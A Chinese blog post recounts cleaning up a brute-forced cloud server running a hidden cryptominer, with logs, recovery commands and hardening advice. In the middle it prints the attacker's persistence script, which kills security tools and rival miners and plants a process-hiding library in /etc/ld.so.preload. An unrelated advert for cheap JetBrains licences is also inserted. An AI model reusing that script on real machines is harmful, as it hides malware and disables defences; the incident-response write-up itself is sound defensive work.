一次服务器被入侵的处理过程分享

我就是我 2024-04-07 16:14 106阅读 0赞

### 一、服务器入侵现象 ###

近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵，具体现象是：服务器 CPU 资源长期 100%，负载较高。服务器上面的服务不能正常提供服务。

![efdfcff936f195e55083f9c1932dda47.png][]

朋友处理了一会没有解决，我开始想说我不是搞安全的，我怎么会，但朋友开出了天价，一顿海底捞，我在生活和现实面前低头了。开始上手看看了。

### 二、服务器排查和处理 ###

#### 2.1、服务器被入侵的可能原因 ####

1.  服务器 ssh 密码 设置得很简单。
2.  腾讯云安全组范围放得很大。
3.  使用了宝塔，宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。

#### 2.2、排查和处理步骤 ####

1、ps -ef / top 找出占用进程最大的服务

问题现象

ps/top 命令 已经被替换了。

![b1626fac94455fdc762f76412db22d9b.png][]

2、查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure。

问题现象

[root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure 
    Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
    Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
    Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
    Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
    Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

> lighthouse 腾讯云轻量服务器

我们在这里就可以看到，有一些境外IP 34.215.138.2 成功登录了，这些 IP不是我们的正常登录。在 /var/log/secure 日志里，我看到了 IP 34.215.138.2 尝试登录不到500次 就已经破解成功了。

**处理措施**

这里我们立马采取了第一个措施，

1.  在腾讯云安全组限制了 SSH 的登录IP， 之前的安全组 SSH 是放行所有IP。
2.  将 SSH ROOT 密码修改。
3.  /root/.ssh/authorized\_keys 备份，并清空。

[root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
    cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

这时我们就遇到了权限的问题，这个晚点展开讲，因为我们已经限制了源IP， 所以这个我们可以晚点来处理。

3、查看最近新增的一些用户

问题现象

cat /etc/passwd

![94c9a92dde3e4b39dc859a6558b0e04f.png][]

**处理措施**

锁定用户

[root@VM-12-12-centos ~]# usermod  -L  sys1

4、我这里不计划去找进程（已经在新建一台版本一致的系统， 来拷贝 top 和 ps 命令，需要一小会，我们趁这个时间，先看看其他），因为之前朋友重启过服务器，发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。（插播一条广告：需要开通正版JetBrains全家桶的可以联系我，56元一年，正版授权，官网可查有效期，有需要的加我微信：poxiaozhiai6，备注：914。）

**问题现象**

定时任务

crond 读取配置文件会从以下几个路径读取：

*  /var/spool/cron/ , 由crontab -e 进行写入，配置文件无需指定用户
 *  /etc/crontab ，只能root 进行编辑，配置文件需指定用户
 *  /etc/cron.d/ ,在此文件夹下创建定时任务文件，配置文件需指定用户
 *  /etc/cron.\*

/var/spool/cron/ 未找到(后面会说到这里有障眼法)

![c0db249cda742c891adc666fd4e9730f.png][]

/etc/crontab 未找到(后面会说到这里有障眼法)

但是我在 /var/log/cron 一直看到有任务执行。每间隔5分钟。

Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
    Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
    Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
    
    Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
    Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )

**处理措施**

这里我们先做的操作就是，先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了，所以我开始解锁，我们发现 chattr 也被替换和锁住了。所以不能操作下去了。

开机启动脚本

/etc/rc.local ， 我们也发现了一个脚本。

[root@VM-12-12-centos ~]# cat /etc/rc.local 
    #!/bin/bash
    # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
    #
    # It is highly advisable to create own systemd services or udev rules
    # to run scripts during boot instead of using this file.
    #
    # In contrast to previous versions due to parallel execution during boot
    # this script will NOT be run after all other services.
    #
    # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
    # that this script will be executed during boot.
    
    /usr/bin/0f4f80f9ab start

但是这个文件好像不存在的，我们就把这个给注释了。

5、还原更改了 top、ps、chattr、lsattr.

*  首先我们从相同版本的机器拷贝了 chattr、lsattr， 我们得先操作这个， 因为我们的 top 和 ps 都被锁住了。
 *  我将文件上传至 /tmp 目录，然后增加可执行权限，然后先给 /usr/bin/chattr 解除锁定。

/tmp/chattr -ai /usr/bin/chattr

*  执行完之后，发现还是不能替换 /usr/bin/chattr。最后耗费了一段时间才反应到，入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。
 *  解锁目录

/tmp/chattr -ai /usr/bin/

*  这下才能把 /usr/bin/chattr 给替换掉。
 *  接下来参考这些，我们把 top 和 ps 、lsattr 给还原了。

部分截图

![20a9e14299b66db268ba31425ed8c406.png][]

### 三、本次入侵需要带来启示的点 ###

1、ps 、top 、chattr 、lsattr

在这些命令被替换了，并且我们想还原又还原不了的场景，我们可以拷贝同版本的机器相同的命令放在其它目录，用这些命令来解除入侵者将它已经替换并锁定了文件。注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。

2、文件内容隐藏

上文中，我执行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。发现文件没有内容。

其实不知道使用了什么特殊字符还是什么隐藏了， 其实是存在定时任务的。

示例：

![b282d47cacabf0f410c8dedabf56f07d.png][]

![cccee72235c36eabaa8f510fc12bbbcf.png][]

![9a0ed170b702c819facc7ef35c452848.png][]

这个配置是如何导致 cat/more 看不了的, 今天再次看了下，这个文件可能是被当成了数据文件，因为我把这个文件 file 查看了之后，文件属性是data. 然后文件包含的特殊字符，导致隐藏了。

3、其中一个脚本。

[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
    #!/bin/sh
    while test 1 = 1
    do
    sleep 30
    pkill -f main
    killall main
    killall sprshduerjsaia
    pkill -f sprshduerjsaia
    killall dr64
    pkill -f dr64
    killall .report_system
    pkill -f .report_system
    killall sshc
    pkill -f sshc
    pkill -f memory
    killall memory
    killall warmup
    killall koko
    killall kthreaddk
    killall systemc
    killall cront
    killall xm64_linux
    killall /var/tmp/j/./intelshell
    pkill -f dos32
    pkill -f dos64
    pkill -f .name
    pkill -f /usr/sbin/dbus
    pkill -f systemd-boot-check-no-failures
    killall .report_system
    pkill -f .report_system
    pkill -f keep-alive
    pkill -f linu
    pkill -f zapppp
    killall [scan]
    killall [ext4]
    pkill -f xm64_linux
    pkill -f ddrirc
    killall ./-bash
    pkill -f ./-bash
    killall kworkers
    killall dbus
    pkill -f biden1
    pkill -f cpuminer-sse2
    killall work64
    pkill -f work64
    killall work32
    pkill -f work32
    killall aarch12
    pkill -f aarch12
    killall bash1
    pkill -f bash1
    killall intelshell
    pkill -f intelshell
    killall heaven
    pkill -f heaven
    killall .syst3md
    pkill -f .syst3md
    pkill -f apachelogs
    killall .meinkampf
    pkill -f .meinkampf
    killall xri
    pkill -f xri
    killall koko
    pkill -f koko
    killall work32-deamon
    pkill -f work32-deamon
    killall work64 -deamon
    pkill -f work64 -deamon
    killall secure.sh
    pkill -f secure.sh
    kkillall auth.sh
    pkill -f auth.sh
    killall autoupdate
    pkill -f kworkers
    pkill -f autoupdate
    killall ld-linux
    pkill -f ld-linux
    pkill -9 Donald
    killall -9 Donald
    pkill -f /usr/local/bin/pnscan
    pkill -f /usr/bin/biden1
    killall /usr/bin/biden1
    killall r
    killall trace
    pkill -f minerd
    killall minerd
    pkill -f xm64
    killall xm64
    pkill -f sysdm
    killall sysdm
    pkill -f syst3md
    killall syst3md
    pkill -f xrig
    killall xrig
    pkill -f busybox
    killall busybox
    pkill -f joseph
    killall joseph
    pkill -f osama
    killall osama
    killall daemon
    pkill -f obama1
    killall obama1
    pkill -f kswapd0
    killall kswapd0
    pkill -f jehgms
    killall jehgms
    pkill -f tsm
    killall tsm
    pkill -f rig
    killall rig
    pkill -f xmr
    killall xmr
    pkill -f playstation
    killall playstation
    pkill -f ld-linux-x86-64
    killall ld-linux-x86-64
    pkill -f ruckusapd
    killall ruckusapd
    pkill -f run64
    killall run64
    pkill -f pwnrig
    killall pwnrig
    pkill -f phpupdate
    killall phpupdate
    pkill -f sysupdate
    killall sysupdate
    pkill -f phpguard
    killall phpguard
    pkill -f firstpress
    killall firstpress
    pkill -f zerocert
    killall zerocert
    pkill -f masscan
    killall masscan
    pkill -f -bash
    pkill -f spreadQlmnop
    killall spreadQlmnop
    killall -bash
    pkill -f cnrig
    killall cnrig
    pkill -f netvhost
    killall netvhost
    pkill -f kthreadds
    killall kthreadds
    pkill -f kthreadd
    killall kthreadd
    pkill -f kdevtmpfsi
    killall kdevtmpfsi
    pkill -f linuxservice
    killall linuxservice
    pkill -f rtmonitor
    killall rtmonitor
    pkill -f dev
    killall dev
    pkill -f xmrig
    killall xmrig
    pkill -f master
    killall master
    killall sysmd
    pkill -f sysmd
    pkill -f sendmail
    killall sendmail
    pkill -f ld-musl-x86_64.
    killall ld-musl-x86_64.
    killall watchdog
    pkill -f watchdog
    pkill -f 32678
    killall 32678
    killall dhpcd
    pkill -f dhpcd
    killall linux_amd64
    pkill -f linux_amd64
    killall xredis
    pkill -f xredis
    killall Linux2.6
    killall .chornyd
    pkill -f .chornyd
    killall Opera
    pkill -f Opera
    killall libertyd
    pkill -f libertyd
    killall rcubind
    pkill -f rcubind
    killall clamscan
    pkill -f clamscan
    killall pnscan
    pkill -f pnscan
    killall zzh
    pkill -f zzh
    killall bioser
    pkill -f bioser
    rm -rf /root/.configrc/
    rm -rf /tmp/.X26-unix/
    rm -rf /tmp/.bash/
    rm -rf /root/.bash/
    rm -rf /root/.cache/
    rm -rf /tmp/.cache/
    rm -rf /dev/shm/.ssh/
    rm -rf /etc/.etcservice/linuxservice
    rm -rf /etc/.vhost/netvhost
    rm -rf /tmp/up.txt
    rm -rf /var/tmp/.update/
    rm -rf /var/tmp/.systemd/
    rm -rf /usr/sbin/.bash./.bash/
    rm -rf /etc/master
    rm -rf /usr/bin/busybox
    rm -rf /bin/sysmd
    rm -rf /tmp/.mx/
    rm -rf /dev/shm/.mx/
    rm -rf /usr/bin/xrig
    rm -rf /etc/32678
    rm -rf /root/c3pool/
    rm -rf /usr/bin/.sshd/
    rm -rf /tmp/div
    systemctl stop c3pool_miner.service
    systemctl stop pwnriglhttps.service
    systemctl stop cryto
    systemctl stop scan
    systemctl stop bot
    systemctl stop myservice.service
    systemctl stop netns.service
    systemctl stop cryptsetup.service
    echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
    lockr +ai /etc/ld.so.preload >/dev/null 2>&1
    chmod 777 /usr/lib/mysql/*
    /usr/lib/mysql/./mysql
    done

我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload 的内容。并且在关闭一些扫描软件和系统的服务。

> 在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD\_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD\_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD\_LIBRARY\_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

我已经删除了 /usr/local/lib/libprocesshider.so 文件，之后每次执行命令会有这个报错。

![daaf509053a964ccaaa379775ecfb48e.png][]

我在清空文件 /etc/ld.so.preload 之后，我发现好了一会后，还是出现这个，我再看 /etc/ld.so.preload 文件，里面又写了 /usr/local/lib/libprocesshider.so ，我怀疑还有定时任务，但是我找了一会定时任务，还是没有找到。后面在查看异常进程的时候，我看到了这个进程

![3e4b20ea1b98bc10ba559ef54018b736.png][]

![a724ac98d629879c0e2d2a5f53d39722.png][]

发现这个脚本的就是一直在循环执行上面内容。将这个进程 kill 后，然后删除脚本。

### 四、本次服务器被入侵的一些启示 ###

1、用好云厂家的安全组。对一些关键端口，放行规则尽量最小/

2、服务器相关的一些密码尽量增加复杂性。

3、增加对一些关键文件的监控. (通过监控软件监控 md5值)

*  /etc/passwd
 *  /etc/shadow
 *  /etc/group
 *  /root/.bash\_history
 *  /root/.ssh/authorized\_keys
 *  /etc/ssh/sshd\_config
 *  /etc/profile
 *  /var/spool/cron/root
 *  /etc/crontab
 *  /etc/ld.so.preload
 *  /etc/rc.local
 *  lsof
 *  ps
 *  netstat
 *  top
 *  ls
 *  pstree
 *  last
 *  history
 *  sudo
 *  password
 *  chattr
 *  lsattr

4、服务器入侵之后，我们需要怎么处理才是最好的。

> https://cloud.tencent.com/document/product/296/9604 https://help.aliyun.com/document\_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

1.  服务器如果有开放SSH 远程登录，可以设置限制登录(安全组、或者服务)，只放行自己的IP. 查找详细的入侵痕迹 last 或者 grep 'Accepted' /var/log/secure

> /root/.ssh/authorized\_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。

1.  服务器如果可以关闭外网，就关闭外网。在安全组层面设置下，或者路由或者NAT。
2.  首先看下 ps/top 命令有没有被篡改， 如果有的话， 从其他正常的机器上拷贝至服务器上。然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话，记得清空里面的内容，然后将对应的文件删除或者重命名。

> 如果使用过程中遇到了文件不可删，不可改的问题，需要使用 chattr -ia 文件名 如果 chattr 也被串改，那就需要从别的机器拷贝。然后复原。

1.  如果上述没有找到，可以通过 netstat 间接查看异常的连接从而查询异常进程。
2.  检查开机启动 和 crontab 相关的内容 。
3.  检查异常进程。

以上就是这次入侵的处理过程和得到的一些小启示，后续有了解新的会继续补充。

[efdfcff936f195e55083f9c1932dda47.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a5b3b19df91c45a6b34f1aa800ccf1a2.png
[b1626fac94455fdc762f76412db22d9b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9b930de1f5f54728ab068667c6d22385.png
[94c9a92dde3e4b39dc859a6558b0e04f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1f548dbc4527420682028112c38230c9.png
[c0db249cda742c891adc666fd4e9730f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/394279c756684944be37e2d6f97b4d42.png
[20a9e14299b66db268ba31425ed8c406.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b21cefd0c9334927badf0bd7aed5fe0d.png
[b282d47cacabf0f410c8dedabf56f07d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a14a0a31449242e6bc95968fbb9066de.png
[cccee72235c36eabaa8f510fc12bbbcf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4f531c9c710645c08fc6cc7b3c47ba4b.png
[9a0ed170b702c819facc7ef35c452848.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/17bb27dfc67c4940935230dff4c549c8.png
[daaf509053a964ccaaa379775ecfb48e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1b5d4ad20a534b109ed43116d9eeda08.png
[3e4b20ea1b98bc10ba559ef54018b736.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2f5dae64b4364c759b973d141cc3a428.png
[a724ac98d629879c0e2d2a5f53d39722.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/eeeafd1d2b7d4d648a2b7d55a24f5bb9.png